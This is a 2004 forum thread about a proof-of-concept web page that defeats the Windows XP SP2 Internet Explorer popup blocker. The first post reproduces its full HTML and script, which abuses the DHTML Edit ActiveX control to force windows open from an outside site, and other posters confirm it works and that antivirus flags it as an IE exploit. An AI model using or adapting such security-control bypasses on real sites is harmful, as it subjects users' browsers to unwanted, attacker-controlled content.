Defeating XP SP2 Popup Blocker

iago · December 10, 2004, 03:06 PM

http://www.malware.com/flopup.html

Can somebody confirm that that works to block SP2's popup blocker? I don't have an SP2 machine handy to test it on. The code for it is:

Code Select

<body onload="setTimeout('   main()   ',1000)">
<object 
 id="x"
 classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
 width="1" 
 height="1" 
 align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>

<SCRIPT>

// 10.11.04 http://www.editive.com

function shellscript()
{
 open("http://www.malware.com/flywin.html","_blank","scrollbar=no");
 showModalDialog("http://www.malware.com/flywin.html");
 }

function main()
{
 x.DOM.Script.execScript(shellscript.toString());
 x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT>
<br><br><br><br><br><br><center><img src=nocigar.gif><br><br><FONT FACE=ARIAL SIZE 12PT>NO CIGAR !</FONT></center>

dxoigmn · December 10, 2004, 03:39 PM

Works here, that code bypasses the popup blocker.

MyndFyre · December 11, 2004, 10:53 PM

That's because it doesn't actually use popups (the popup blocker blocks window.open() in Javascript). That COM class is "DHTML Edit Control Safe for Scripting for IE5" so I'm not sure what he did in the web page dialog object, but it sucks. Wonderful to have.

iago · December 12, 2004, 12:03 AM

In any case, it never showed up with Firefox. So I win

hismajesty · December 12, 2004, 05:55 PM

when I went to that page with IE it wanted me to install frontpage!

quasi-modo · December 13, 2004, 03:38 PM

Popups are becoming less of a problem. Nowadays I am browsing with javascript turned off altogether because of annoying divs with ads in them sliding across my screen, etc.

MyndFyre · December 13, 2004, 04:53 PM

At work:

Quote
Access Denied (content_filter_denied)

Your request was denied because of its content categorization: "Hacking;Information Technology"

For assistance, contact your network support team.

iago · December 13, 2004, 06:05 PM

Well, it IS malware.com. At the moment, we don't have content filters at work, but we should.

Spht · December 24, 2005, 09:31 AM

*yawn* It was no match for me, iago.

http://www.valhallalegends.com/spht/no_cigar.gif

Get a REAL browser!

Maddox · December 27, 2005, 12:49 AM

McAfee detected an "IE-exploit."

Defeating XP SP2 Popup Blocker

hismajesty